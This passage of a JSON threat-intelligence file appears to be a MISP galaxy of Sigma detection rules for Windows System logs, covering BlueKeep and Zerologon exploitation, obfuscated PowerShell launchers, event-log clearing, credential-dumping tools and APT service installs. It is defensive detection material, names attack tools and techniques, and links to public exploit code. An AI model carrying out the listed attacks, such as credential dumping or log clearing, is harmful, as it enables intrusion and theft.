"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_hacktools.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d26ce60c-2151-403c-9a42-49420d87b5e4", "value": "Hacktool Service Registration or Execution" }, { "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", "meta": { "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", "creation_date": "2019/05/24", "falsepositive": [ "Bad connections or network interruptions" ], "filename": "win_system_rdp_potential_cve_2019_0708.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/Ekultek/BlueKeep", "https://github.com/zerosum0x0/CVE-2019-0708", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rdp_potential_cve_2019_0708.yml" ], "tags": [ "attack.lateral_movement", "attack.t1210", "car.2013-07-002" ] }, "related": [ { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aaa5b30d-f418-420b-83a0-299cb6024885", "value": "Potential RDP Exploit CVE-2019-0708" }, { "description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.", "meta": { "author": "Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community", "creation_date": "2020/10/13", "falsepositive": "No established falsepositives", "filename": "win_system_possible_zerologon_exploitation_using_wellknown_tools.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382", "https://www.secura.com/blog/zero-logon", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml" ], "tags": [ "attack.t1210", "attack.lateral_movement" ] }, "related": [ { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18f37338-b9bd-4117-a039-280c81f7a596", "value": "Zerologon Exploitation Using Well-known Tools" }, { "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_stdin_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_stdin_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "72862bf2-0eb1-11eb-adc1-0242ac120002", "value": "Invoke-Obfuscation STDIN+ Launcher - System" }, { "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/05/06", "falsepositive": [ "Unknown" ], "filename": "win_system_moriya_rootkit.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_moriya_rootkit.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "25b9c01c-350d-4b95-bed1-836d04a4f324", "value": "Moriya Rootkit - System" }, { "description": "Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/28", "falsepositive": [ "Legitimate use of the tool" ], "filename": "win_system_service_install_mesh_agent.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_mesh_agent.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e0d1ad53-c7eb-48ec-a87a-72393cc6cedc", "value": "Mesh Agent Service Installation" }, { "description": "Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2022/08/25", "falsepositive": [ "Unknown" ], "filename": "win_system_service_install_sliver.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231", "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_sliver.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.t1543.003", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "31c51af6-e7aa-4da7-84d4-8f32cc580af2", "value": "Sliver C2 Default Service Installation" }, { "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", "creation_date": "2019/11/08", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_obfuscated_iex_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_obfuscated_iex_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "51aa9387-1c53-4153-91cc-d73c59ae1ca9", "value": "Invoke-Obfuscation Obfuscated IEX Invocation - System" }, { "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_var_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_var_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8ca7004b-e620-4ecb-870e-86129b5b8e75", "value": "Invoke-Obfuscation VAR+ Launcher - System" }, { "description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/22", "falsepositive": [ "Legitimate use of the tool" ], "filename": "win_system_service_install_pdqdeploy.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "ee9ca27c-9bd7-4cee-9b01-6e906be7cae3", "value": "New PDQDeploy Service - Server Side" }, { "description": "Detects the reporting of NTLMv1 being used between a client and server", "meta": { "author": "Tim Shelton", "creation_date": "2022/04/26", "falsepositive": [ "Environments that use NTLMv1" ], "filename": "win_system_lsasrv_ntlmv1.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://attack.mitre.org/techniques/T1550/002/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lsasrv_ntlmv1.yml" ], "tags": [ "attack.execution", "attack.t1550.002", "attack.s0363" ] }, "uuid": "e9d4ab66-a532-4ef7-a502-66a9e4a34f5d", "value": "NTLMv1 Logon Between Client and Server" }, { "description": "Detects service installation in suspicious folder appdata", "meta": { "author": "pH-T", "creation_date": "2022/03/18", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_service_installation_folder.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "car.2013-09-005", "attack.t1543.003" ] }, "uuid": "5e993621-67d4-488a-b9ae-b420d08b96cb", "value": "Service Installation in Suspicious Folder" }, { "description": "Detects application popup reporting a failure of the Sysmon service", "meta": { "author": "Tim Shelton", "creation_date": "2022/04/26", "falsepositive": [ "Unknown" ], "filename": "win_system_application_sysmon_crash.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_application_sysmon_crash.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4d7f1827-1637-4def-8d8a-fd254f9454df", "value": "Sysmon Crash" }, { "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_via_var_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_var_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "14bcba49-a428-42d9-b943-e2ce0f0f7ae6", "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System" }, { "description": "Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/30", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_rtcore64_service_install.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_rtcore64_service_install.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "91c49341-e2ef-40c0-ac45-49ec5c3fe26c", "value": "RTCore Suspicious Service Installation" }, { "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", "meta": { "author": "Florian Roth", "creation_date": "2017/01/10", "falsepositive": [ "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", "System provisioning (system reset before the golden image creation)" ], "filename": "win_system_eventlog_cleared.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://twitter.com/deviouspolack/status/832535435960209408", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_eventlog_cleared.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.001", "car.2016-04-002" ] }, "related": [ { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a62b37e0-45d3-48d9-a517-90c1a1b0186b", "value": "Eventlog Cleared" }, { "description": "Detects NetSupport Manager service installation on the target system.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/31", "falsepositive": [ "Legitimate use of the tool" ], "filename": "win_system_service_install_netsupport_manager.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_netsupport_manager.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "2d510d8d-912b-45c5-b1df-36faa3d8c3f4", "value": "NetSupport Manager Service Install" }, { "description": "Detects the \"Windows Defender Threat Protection\" service has been disabled", "meta": { "author": "Ján Trenčanský, frack113", "creation_date": "2020/07/28", "falsepositive": [ "Administrator actions", "Auto updates of Windows Defender causes restarts" ], "filename": "win_system_defender_disabled.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_defender_disabled.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "6c0a7755-6d31-44fa-80e1-133e57752680", "value": "Windows Defender Threat Detection Disabled - Service" }, { "description": "Detects QuarksPwDump clearing access history in hive", "meta": { "author": "Florian Roth", "creation_date": "2017/05/15", "falsepositive": [ "Unknown" ], "filename": "win_system_quarkspwdump_clearing_hive_access_history.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_quarkspwdump_clearing_hive_access_history.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "39f919f3-980b-4e6f-a975-8af7e507ef2b", "value": "QuarksPwDump Clearing Access History" }, { "description": "Detects a ProcessHacker tool that elevated privileges to a very high level", "meta": { "author": "Florian Roth", "creation_date": "2021/05/27", "falsepositive": [ "Unlikely" ], "filename": "win_system_susp_proceshacker.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/1kwpeter/status/1397816101455765504", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_proceshacker.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.t1543.003", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c4ff1eac-84ad-44dd-a6fb-d56a92fc43a9", "value": "ProcessHacker Privilege Elevation" }, { "description": "This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018", "meta": { "author": "Florian Roth", "creation_date": "2018/11/23", "falsepositive": [ "Unlikely" ], "filename": "win_system_apt_turla_service_png.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_turla_service_png.yml" ], "tags": [ "attack.persistence", "attack.g0010", "attack.t1543.003" ] }, "uuid": "1228f8e2-7e79-4dea-b0ad-c91f1d5016c1", "value": "Turla PNG Dropper Service" }, { "description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter", "meta": { "author": "Florian Roth", "creation_date": "2021/01/11", "falsepositive": [ "Unlikely" ], "filename": "win_system_ntfs_vuln_exploit.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", "https://twitter.com/wdormann/status/1347958161609809921", "https://twitter.com/jonasLyk/status/1347900440000811010", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_ntfs_vuln_exploit.yml" ], "tags": [ "attack.impact", "attack.t1499.001" ] }, "uuid": "f14719ce-d3ab-4e25-9ce6-2899092260b0", "value": "NTFS Vulnerability Exploitation" }, { "description": "This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET", "meta": { "author": "Florian Roth", "creation_date": "2017/03/31", "falsepositive": [ "Unknown" ], "filename": "win_system_apt_carbonpaper_turla.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_carbonpaper_turla.yml" ], "tags": [ "attack.persistence", "attack.g0010", "attack.t1543.003" ] }, "uuid": "1df8b3da-b0ac-4d8a-b7c7-6cb7c24160e4", "value": "Turla Service Install" }, { "description": "One of the Windows Core Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", "meta": { "author": "Florian Roth, Tim Shelton", "creation_date": "2022/05/17", "falsepositive": [ "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", "System provisioning (system reset before the golden image creation)" ], "filename": "win_system_susp_eventlog_cleared.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://twitter.com/deviouspolack/status/832535435960209408", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_eventlog_cleared.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.001", "car.2016-04-002" ] }, "related": [ { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "100ef69e-3327-481c-8e5c-6d80d9507556", "value": "System Eventlog Cleared" }, { "description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded", "meta": { "author": "Dimitrios Slamaris, @atc_project (fix)", "creation_date": "2017/05/15", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_dhcp_config_failed.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config_failed.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "75edd3fd-7146-48e5-9848-3013d7f0282c", "value": "DHCP Server Error Failed Loading the CallOut DLL" }, { "description": "During exploitation of this vuln, two logs (providername:Microsoft-Windows-User Profiles Service) with eventid 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation.Viewed on 2008 Server", "meta": { "author": "Cybex", "creation_date": "2022/08/16", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://packetstormsecurity.com/files/166692/Windows-User-Profile-Service-Privlege-Escalation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml" ], "tags": [ "attack.execution" ] }, "uuid": "52a85084-6989-40c3-8f32-091e12e17692", "value": "Suspicious Usage of CVE_2021_34484 or CVE 2022_21919" }, { "description": "Detects suspicious service installation scripts", "meta": { "author": "pH-T", "creation_date": "2022/03/18", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_service_installation_script.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_script.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "car.2013-09-005", "attack.t1543.003" ] }, "uuid": "70f00d10-60b2-4f34-b9a0-dc3df3fe762a", "value": "Suspicious Service Installation Script" }, { "description": "Detects volume shadow copy mount via windows event log", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", "creation_date": "2020/10/20", "falsepositive": [ "Legitimate use of volume shadow copy mounts (backups maybe)." ], "filename": "win_system_volume_shadow_copy_mount.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_volume_shadow_copy_mount.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f512acbf-e662-4903-843e-97ce4652b740", "value": "Volume Shadow Copy Mount" }, { "description": "Detects suspicious service installation commands", "meta": { "author": "pH-T", "creation_date": "2022/03/18", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_service_installation.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "car.2013-09-005", "attack.t1543.003" ] }, "uuid": "1d61f71d-59d2-479e-9562-4ff5f4ead16b", "value": "Suspicious Service Installation" }, { "description": "Detects a TacticalRMM service installation. Tactical RMM is a remote monitoring & management tool.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/28", "falsepositive": [ "Legitimate use of the tool" ], "filename": "win_system_service_install_tacticalrmm.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_tacticalrmm.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4bb79b62-ef12-4861-981d-2aab43fab642", "value": "TacticalRMM Service Installation" }, { "description": "This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky", "meta": { "author": "Florian Roth", "creation_date": "2017/03/07", "falsepositive": [ "Unlikely" ], "filename": "win_system_apt_stonedrill.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_stonedrill.yml" ], "tags": [ "attack.persistence", "attack.g0064", "attack.t1543.003" ] }, "uuid": "9e987c6c-4c1e-40d8-bd85-dd26fba8fdd6", "value": "StoneDrill Service Install" }, { "description": "Detects well-known credential dumping tools execution via service execution events", "meta": { "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", "creation_date": "2017/03/05", "falsepositive": [ "Legitimate Administrator using credential dumping tool for password recovery" ], "filename": "win_system_mal_creddumper.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_mal_creddumper.yml" ], "tags": [ "attack.credential_access", "attack.execution", "attack.t1003.001", "attack.t1003.002", "attack.t1003.004", "attack.t1003.005", "attack.t1003.006", "attack.t1569.002", "attack.s0005" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4976aa50-8f41-45c6-8b15-ab3fc10e79ed", "value": "Credential Dumping Tools Service Execution - System" }, { "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", "meta": { "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate OpenVPN TAP insntallation" ], "filename": "win_system_tap_driver_installation.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_tap_driver_installation.yml" ], "tags": [ "attack.exfiltration", "attack.t1048" ] }, "related": [ { "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8e4cf0e5-aa5d-4dc3-beff-dc26917744a9", "value": "Tap Driver Installation" }, { "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", "meta": { "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", "creation_date": "2018/03/23", "falsepositive": [ "Unknown" ], "filename": "win_system_apt_chafer_mar18_system.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_chafer_mar18_system.yml" ], "tags": [ "attack.persistence", "attack.g0049", "attack.t1053.005", "attack.s0111", "attack.t1543.003", "attack.defense_evasion", "attack.t1112", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "53ba33fd-3a50-4468-a5ef-c583635cfa92", "value": "Chafer Activity - System" }, { "description": "Detects service creation from KrbRelayUp tool used for privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings)", "meta": { "author": "Sittikorn S, Tim Shelton", "creation_date": "2022/05/11", "falsepositive": [ "Unknown" ], "filename": "win_system_krbrelayup_service_installation.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/Dec0ne/KrbRelayUp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_krbrelayup_service_installation.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e97d9903-53b2-41fc-8cb9-889ed4093e80", "value": "KrbRelayUp Service Installation" }, { "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_via_use_mshta_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_mshta_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4", "value": "Invoke-Obfuscation Via Use MSHTA - System" }, { "description": "Detects Obfuscated Powershell via use 